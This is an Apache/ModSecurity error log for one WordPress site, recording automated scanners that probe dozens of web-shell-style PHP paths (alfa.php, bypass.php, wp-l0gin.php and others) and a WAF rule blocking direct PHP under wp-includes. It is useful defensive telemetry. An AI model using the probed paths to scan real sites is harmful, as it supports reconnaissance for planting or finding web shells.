[Thu Apr 23 09:56:06.894932 2026] [:error] [pid 25635:tid 25651] [client 91.230.225.23:30867] [client 91.230.225.23] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/block-supports/autoload_classmap.php"] [unique_id "ael8NsRxv6UsgRGKB3L76gAAAQw"]
[Thu Apr 23 09:56:07.463452 2026] [:error] [pid 59700:tid 59715] [client 91.230.225.17:52123] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-signup.php
[Thu Apr 23 09:56:08.328820 2026] [:error] [pid 59700:tid 59723] [client 91.230.225.17:52123] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-blog.php
[Thu Apr 23 09:56:09.167618 2026] [:error] [pid 59700:tid 59711] [client 91.230.225.17:52123] [client 91.230.225.17] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/blocks/table/int/tmpl/index.php"] [unique_id "ael8OZXyGZJFeAIDWtmV2QAAAUk"]
[Thu Apr 23 09:56:09.728646 2026] [:error] [pid 42973:tid 43048] [client 91.230.225.198:34425] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-l0gin.php
[Thu Apr 23 09:56:10.014510 2026] [:error] [pid 42973:tid 43062] [client 91.230.225.198:34425] [client 91.230.225.198] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/js/jquery/suggest.php"] [unique_id "ael8Om6I0QqmmmLTHE3zZgAAAJM"]
[Thu Apr 23 09:56:11.598730 2026] [:error] [pid 64998:tid 65022] [client 185.192.71.39:46375] File does not exist: /usr/local/apache/htdocs/suspended-page/new.php
[Thu Apr 23 09:56:12.196583 2026] [:error] [pid 64998:tid 65017] [client 185.192.71.39:46375] [client 185.192.71.39] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/defaults.php"] [unique_id "ael8PIV5EysYcTLjmwh9RQAAAc8"]
[Thu Apr 23 09:56:13.009763 2026] [:error] [pid 64998:tid 65008] [client 91.230.225.15:49511] [client 91.230.225.15] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/customize/index.php"] [unique_id "ael8PYV5EysYcTLjmwh9YQAAAcY"]
[Thu Apr 23 09:56:20.691817 2026] [:error] [pid 64967:tid 64992] [client 91.230.225.13:30557] File does not exist: /usr/local/apache/htdocs/suspended-page/natural.php
[Thu Apr 23 09:56:20.976320 2026] [:error] [pid 64967:tid 64969] [client 91.230.225.13:30557] File does not exist: /usr/local/apache/htdocs/suspended-page/item.php
[Thu Apr 23 09:56:21.529412 2026] [:error] [pid 64967:tid 64982] [client 91.230.225.13:30557] [client 91.230.225.13] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/SimplePie/index.php"] [unique_id "ael8RYAV4GfOOdX8QzozYgAAAY0"]
[Thu Apr 23 09:56:22.345714 2026] [:error] [pid 25635:tid 25663] [client 91.230.225.19:31235] [client 91.230.225.19] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/theme-compat/about.php"] [unique_id "ael8RsRxv6UsgRGKB3L8mQAAARg"]
[Thu Apr 23 09:56:23.210841 2026] [:error] [pid 65000:tid 65032] [client 91.230.225.207:33363] [client 91.230.225.207] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/Requests/index.php"] [unique_id "ael8R76vRb9j6psK2ZYB0wAAAgM"]
[Thu Apr 23 09:56:24.751736 2026] [:error] [pid 42973:tid 43064] [client 185.192.71.38:42777] [client 185.192.71.38] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/ID3/about.php/wp-content/x/index.php"] [unique_id "ael8SG6I0QqmmmLTHE3z6wAAAJU"]
[Thu Apr 23 09:56:25.304523 2026] [:error] [pid 42973:tid 43058] [client 185.192.71.30:26047] [client 185.192.71.30] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/ID3/about.php"] [unique_id "ael8SW6I0QqmmmLTHE3z9AAAAI8"]
[Thu Apr 23 09:56:26.415622 2026] [:error] [pid 25635:tid 25651] [client 91.230.225.202:60053] File does not exist: /usr/local/apache/htdocs/suspended-page/default.php
[Thu Apr 23 09:56:26.684136 2026] [:error] [pid 25635:tid 25654] [client 91.230.225.202:60053] [client 91.230.225.202] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/assets/info.php"] [unique_id "ael8SsRxv6UsgRGKB3L80AAAAQ8"]
[Thu Apr 23 09:56:27.227788 2026] [:error] [pid 64998:tid 65016] [client 91.230.225.203:36065] [client 91.230.225.203] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/class.api.php"] [unique_id "ael8S4V5EysYcTLjmwh-6QAAAc4"]
[Thu Apr 23 09:56:27.763291 2026] [:error] [pid 59700:tid 59709] [client 185.92.25.113:41647] [client 185.92.25.113] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/fonts/index.php"] [unique_id "ael8S5XyGZJFeAIDWtmWbAAAAUc"]
[Thu Apr 23 09:56:28.902367 2026] [:error] [pid 25635:tid 25651] [client 91.230.225.23:36311] File does not exist: /usr/local/apache/htdocs/suspended-page/dropdown.php
[Thu Apr 23 09:56:29.471869 2026] [:error] [pid 25635:tid 25644] [client 91.230.225.23:36311] File does not exist: /usr/local/apache/htdocs/suspended-page/db.php
[Thu Apr 23 09:56:30.571467 2026] [:error] [pid 25635:tid 25653] [client 91.230.225.23:36311] [client 91.230.225.23] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/admin.php"] [unique_id "ael8TsRxv6UsgRGKB3L9HQAAAQ4"]
[Thu Apr 23 09:56:32.019180 2026] [:error] [pid 59700:tid 59711] [client 91.230.225.207:49439] [client 91.230.225.207] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 91.230.225.207, incrementing brute counter"] [hostname "windfarmcoolants.com.au"] [uri "/wp-admin/js/wp-login.php"] [unique_id "ael8UJXyGZJFeAIDWtmWlgAAAUk"]
[Thu Apr 23 09:56:32.318343 2026] [:error] [pid 59700:tid 59709] [client 91.230.225.207:49439] File does not exist: /usr/local/apache/htdocs/suspended-page/install.php
[Thu Apr 23 09:56:33.750879 2026] [:error] [pid 59700:tid 59703] [client 91.230.225.207:49439] File does not exist: /usr/local/apache/htdocs/suspended-page/bypass.php
[Thu Apr 23 09:56:34.072311 2026] [:error] [pid 59700:tid 59716] [client 91.230.225.207:49439] File does not exist: /usr/local/apache/htdocs/suspended-page/class.php
[Thu Apr 23 09:56:44.968314 2026] [:error] [pid 59700:tid 59715] [client 91.230.225.207:49439] [client 91.230.225.207] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/rest-api/about.php"] [unique_id "ael8XJXyGZJFeAIDWtmW3gAAAU0"]
[Thu Apr 23 09:56:45.837604 2026] [:error] [pid 65000:tid 65046] [client 91.230.225.198:26061] File does not exist: /usr/local/apache/htdocs/suspended-page/init.php
[Thu Apr 23 09:56:46.127946 2026] [:error] [pid 65000:tid 65048] [client 91.230.225.198:26061] [client 91.230.225.198] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 91.230.225.198, incrementing brute counter"] [hostname "windfarmcoolants.com.au"] [uri "/wp-admin/user/wp-login.php"] [unique_id "ael8Xr6vRb9j6psK2ZYDDwAAAg8"]
[Thu Apr 23 09:56:46.713199 2026] [:error] [pid 65000:tid 65056] [client 91.230.225.198:26061] [client 91.230.225.198] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/item.php"] [unique_id "ael8Xr6vRb9j6psK2ZYDHAAAAhc"]
[Thu Apr 23 09:56:48.379492 2026] [:error] [pid 59700:tid 59721] [client 91.230.225.207:20877] File does not exist: /usr/local/apache/htdocs/suspended-page/adminfuns.php
[Thu Apr 23 09:56:48.928447 2026] [:error] [pid 59700:tid 59723] [client 91.230.225.207:20877] File does not exist: /usr/local/apache/htdocs/suspended-page/wp_wlx.php
[Thu Apr 23 09:56:49.483179 2026] [:error] [pid 59700:tid 59714] [client 91.230.225.207:20877] [client 91.230.225.207] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/assets/husky301.php"] [unique_id "ael8YZXyGZJFeAIDWtmXCQAAAUw"]
[Thu Apr 23 09:56:50.028975 2026] [:error] [pid 64998:tid 65003] [client 91.230.225.23:62193] File does not exist: /usr/local/apache/htdocs/suspended-page/wp.php
[Thu Apr 23 09:56:50.898683 2026] [:error] [pid 64998:tid 65002] [client 91.230.225.23:62193] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-header.php
[Thu Apr 23 09:56:51.474542 2026] [:error] [pid 64998:tid 65020] [client 91.230.225.23:62193] File does not exist: /usr/local/apache/htdocs/suspended-page/Marvins.php
[Thu Apr 23 09:56:59.156163 2026] [:error] [pid 64998:tid 65022] [client 91.230.225.23:62193] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-class.php
[Thu Apr 23 09:56:59.509975 2026] [:error] [pid 64998:tid 65007] [client 91.230.225.23:62193] [client 91.230.225.23] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/images/smilies/index.php"] [unique_id "ael8a4V5EysYcTLjmwiB5AAAAcU"]
[Thu Apr 23 09:57:00.285578 2026] [:error] [pid 42972:tid 43038] [client 91.230.225.14:63151] File does not exist: /usr/local/apache/htdocs/suspended-page/xx.php
[Thu Apr 23 09:57:00.636651 2026] [:error] [pid 42972:tid 43035] [client 91.230.225.14:63151] File does not exist: /usr/local/apache/htdocs/suspended-page/autoload_classmap.php
[Thu Apr 23 09:57:01.033917 2026] [:error] [pid 42972:tid 43017] [client 91.230.225.14:63151] [client 91.230.225.14] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/classwithtostring.php"] [unique_id "ael8bcOAb-3sOknsk4dIqAAAAEE"]
[Thu Apr 23 09:57:02.003752 2026] [:error] [pid 42972:tid 43023] [client 91.230.225.15:37429] File does not exist: /usr/local/apache/htdocs/suspended-page/content.php
[Thu Apr 23 09:57:03.125656 2026] [:error] [pid 42972:tid 43039] [client 91.230.225.15:37429] [client 91.230.225.15] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 91.230.225.15, incrementing brute counter"] [hostname "windfarmcoolants.com.au"] [uri "/wp-admin/wp-login.php"] [unique_id "ael8b8OAb-3sOknsk4dIwgAAAFc"]
[Thu Apr 23 09:57:03.526147 2026] [:error] [pid 42972:tid 43027] [client 91.230.225.15:37429] [client 91.230.225.15] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/rest-api/endpoints/index.php"] [unique_id "ael8b8OAb-3sOknsk4dIxwAAAEs"]
[Thu Apr 23 09:57:10.209308 2026] [:error] [pid 59700:tid 59705] [client 91.230.225.13:37591] File does not exist: /usr/local/apache/htdocs/suspended-page/web.php
[Thu Apr 23 09:57:11.879147 2026] [:error] [pid 59700:tid 59713] [client 91.230.225.13:37591] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-trackback.php
[Thu Apr 23 09:57:12.148617 2026] [:error] [pid 59700:tid 59706] [client 91.230.225.13:37591] [client 91.230.225.13] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/style-engine/bypass.php"] [unique_id "ael8eJXyGZJFeAIDWtmXzQAAAUQ"]
[Thu Apr 23 09:57:12.720180 2026] [:error] [pid 59700:tid 59724] [client 91.230.225.199:51803] File does not exist: /usr/local/apache/htdocs/suspended-page/radio.php
[Thu Apr 23 09:57:13.566923 2026] [:error] [pid 59700:tid 59703] [client 91.230.225.199:51803] [client 91.230.225.199] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 91.230.225.199, incrementing brute counter"] [hostname "windfarmcoolants.com.au"] [uri "/wp-admin/css/colors/midnight/wp-login.php"] [unique_id "ael8eZXyGZJFeAIDWtmX4gAAAUE"]
[Thu Apr 23 09:57:13.878331 2026] [:error] [pid 59700:tid 59712] [client 91.230.225.199:51803] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-conflg.php
[Thu Apr 23 09:57:14.178722 2026] [:error] [pid 59700:tid 59719] [client 91.230.225.199:51803] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-setup.php
[Thu Apr 23 09:57:14.454956 2026] [:error] [pid 59700:tid 59710] [client 91.230.225.199:51803] File does not exist: /usr/local/apache/htdocs/suspended-page/ms-themes.php
[Thu Apr 23 09:57:14.722910 2026] [:error] [pid 59700:tid 59716] [client 91.230.225.199:51803] [client 91.230.225.199] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/assets/about.php"] [unique_id "ael8epXyGZJFeAIDWtmX9gAAAU4"]
[Thu Apr 23 09:57:15.271793 2026] [:error] [pid 65000:tid 65044] [client 185.192.71.34:31723] File does not exist: /usr/local/apache/htdocs/suspended-page/style.php
[Thu Apr 23 09:57:15.538518 2026] [:error] [pid 65000:tid 65039] [client 185.192.71.34:31723] [client 185.192.71.34] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/infi.php"] [unique_id "ael8e76vRb9j6psK2ZYEgwAAAgY"]
[Thu Apr 23 09:57:16.426370 2026] [:error] [pid 42971:tid 43001] [client 185.192.71.30:35857] File does not exist: /usr/local/apache/htdocs/suspended-page/x.php
[Thu Apr 23 09:57:16.692711 2026] [:error] [pid 42971:tid 43006] [client 185.192.71.30:35857] [client 185.192.71.30] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/IXR/index.php"] [unique_id "ael8fDEP2_5RswrH8bHe4QAAABQ"]
[Thu Apr 23 09:57:17.827277 2026] [:error] [pid 42971:tid 43002] [client 185.92.25.114:37019] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-user.php
[Thu Apr 23 09:57:18.105584 2026] [:error] [pid 42971:tid 42987] [client 185.92.25.114:37019] [client 185.92.25.114] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/pomo/about.php"] [unique_id "ael8fjEP2_5RswrH8bHe9wAAAAE"]
[Thu Apr 23 09:57:19.756904 2026] [:error] [pid 64967:tid 64977] [client 91.230.225.203:40125] [client 91.230.225.203] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/pomo/index.php"] [unique_id "ael8f4AV4GfOOdX8Qzo1XQAAAYg"]
[Thu Apr 23 09:57:20.307896 2026] [:error] [pid 42972:tid 43027] [client 185.92.25.114:29133] File does not exist: /usr/local/apache/htdocs/suspended-page/config.php
[Thu Apr 23 09:57:20.585026 2026] [:error] [pid 42972:tid 43037] [client 185.92.25.114:29133] File does not exist: /usr/local/apache/htdocs/suspended-page/special.php
[Thu Apr 23 09:57:21.716535 2026] [:error] [pid 42972:tid 43025] [client 185.92.25.114:29133] [client 185.92.25.114] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/block-patterns/autoload_classmap.php"] [unique_id "ael8gcOAb-3sOknsk4dJdQAAAEk"]
[Thu Apr 23 09:57:22.538756 2026] [:error] [pid 64998:tid 65024] [client 91.230.225.208:31079] [client 91.230.225.208] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/certificates/about.php"] [unique_id "ael8goV5EysYcTLjmwiDsQAAAdY"]
[Thu Apr 23 09:57:23.908837 2026] [:error] [pid 59700:tid 59707] [client 185.192.71.38:20303] [client 185.192.71.38] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/edit.php"] [unique_id "ael8g5XyGZJFeAIDWtmYjwAAAUU"]
[Thu Apr 23 09:57:24.456896 2026] [:error] [pid 64998:tid 65012] [client 91.230.225.202:36109] File does not exist: /usr/local/apache/htdocs/suspended-page/webdb.php
[Thu Apr 23 09:57:25.010763 2026] [:error] [pid 64998:tid 65020] [client 91.230.225.202:36109] File does not exist: /usr/local/apache/htdocs/suspended-page/file2.php
[Thu Apr 23 09:57:25.286634 2026] [:error] [pid 64998:tid 65022] [client 91.230.225.202:36109] [client 91.230.225.202] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/ID3/wp-work.php"] [unique_id "ael8hYV5EysYcTLjmwiD8AAAAdQ"]
[Thu Apr 23 09:57:25.822684 2026] [:error] [pid 42972:tid 43017] [client 185.192.71.26:54697] File does not exist: /usr/local/apache/htdocs/suspended-page/alfa.php
[Thu Apr 23 09:57:26.386050 2026] [:error] [pid 42972:tid 43033] [client 185.192.71.26:54697] [client 185.192.71.26] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/click.php"] [unique_id "ael8hsOAb-3sOknsk4dJvQAAAFE"]
[Thu Apr 23 09:57:27.761607 2026] [:error] [pid 42972:tid 43029] [client 91.230.225.206:36733] [client 91.230.225.206] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/random_compat/chosen.php"] [unique_id "ael8h8OAb-3sOknsk4dJ6gAAAE0"]
[Thu Apr 23 09:57:28.583738 2026] [:error] [pid 42972:tid 43021] [client 91.230.225.19:52455] File does not exist: /usr/local/apache/htdocs/suspended-page/edit.php
[Thu Apr 23 09:57:29.445991 2026] [:error] [pid 42972:tid 43038] [client 91.230.225.19:52455] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-links-opml.php
[Thu Apr 23 09:57:30.009074 2026] [:error] [pid 42972:tid 43023] [client 91.230.225.19:52455] File does not exist: /usr/local/apache/htdocs/suspended-page/atomlib.php
[Thu Apr 23 09:57:30.287988 2026] [:error] [pid 42972:tid 43032] [client 91.230.225.19:52455] [client 91.230.225.19] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/js/jquery/bypass.php"] [unique_id "ael8isOAb-3sOknsk4dKKgAAAFA"]
[Thu Apr 23 09:57:30.843034 2026] [:error] [pid 65000:tid 65052] [client 91.230.225.195:50983] [client 91.230.225.195] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/xl2023.php"] [unique_id "ael8ir6vRb9j6psK2ZYFTgAAAhM"]
[Thu Apr 23 09:57:31.400268 2026] [:error] [pid 43083:tid 43107] [client 185.192.71.40:60693] [client 185.192.71.40] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/certificates/admin.php"] [unique_id "ael8izC5hrvNXosL83Ic4QAAANY"]
[Thu Apr 23 09:57:31.933451 2026] [:error] [pid 25635:tid 25642] [client 91.230.225.24:64951] [client 91.230.225.24] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/images/media/dog.php"] [unique_id "ael8i8Rxv6UsgRGKB3L_2gAAAQM"]
[Thu Apr 23 09:57:32.483917 2026] [:error] [pid 59700:tid 59726] [client 91.230.225.22:33335] File does not exist: /usr/local/apache/htdocs/suspended-page/xp.php
